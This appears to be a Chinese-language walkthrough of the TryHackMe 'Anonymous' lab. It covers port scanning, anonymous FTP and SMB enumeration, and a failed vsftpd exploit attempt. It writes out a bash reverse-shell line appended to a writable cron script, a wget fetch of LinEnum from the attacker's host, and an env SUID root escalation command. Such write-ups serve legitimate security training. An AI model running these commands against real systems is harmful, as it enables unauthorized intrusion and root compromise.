URL : https://tryhackme.com/room/anonymous

IP : 10.10.142.45

Recon

  • 掃 Port 起手式rustscan -a 10.10.142.45 -r 1-65535 --ulimit 500022
  • 21
  • 139
  • 445nmap -A -p21,22,139,445 10.10.142.45- 21 : FTPVSFTPD 2.0.822 : SSH139: SMB445: SMB嘗試連接 ftp- ftp 10.10.142.45 使用 anonymous 登入
  • 發現裡面有一個 scripts 資料夾先把裡面所有檔案都載下來
  • 觀察檔案- clean.sh看起來是一段 清除資料的 bash script
  • removed_files.log- 看起來東西都是空的,是上述腳本的輸出
  • to_do.txt- 看起來沒有很重要
  • 嘗試連線 SMB- 發現有一個 pics 資料夾裡面有兩張圖片- 把兩張圖片載下來- 觀察圖片- 看起來是狗勾!用 Exif tool 觀察-
  • 可以看出 Photoshop 編輯過後來還用了 steghide 等程式,都沒有結果

嘗試 Exploit

  • 尋找到 Vsftpd 2.3.4 有 Exploithttps://www.exploit-db.com/exploits/49757
  • wget https://www.exploit-db.com/download/49757 -O 49757.py
  • 發現他是 Anonymous only,所以這個 Exploit 不能用!!
  • 用了 msf 也是一樣的結果 QQ突然想到,說不定 ftp 上面的 clean.sh 是一個 cron job- 我們既然有讀寫的權限,可以在上面戳個 reverse shell 再傳上去
  • echo bash -c "'bash -i >& /dev/tcp /10.13.21.55/7877 0>&1'" >> clean.sh
  • 本地端開 nc 來接成功接上ㄌ-
  • 取得 User flag

提權

  • 起手式 sudo -l看起來沒東西 QQ
  • 準備 Linenum- wget 10.13.21.55:8000/LinEnum.sh
  • 掃到了 /usr/bin/env 有 suid
  • 透過 GTFOBins 尋找 env SUID 提權- /usr/bin/env /bin/sh -p成功提權-
  • 取得 Root Flag

心得

FTP 上面的檔案也有可能是 Cron Job,看到 shell 就優先懷疑它是 cron ,看看能不能戳一些東西上去。打 Exploit 前須要先確定一下他有沒有一些限制(FTP的不能是 Anonymous登入)。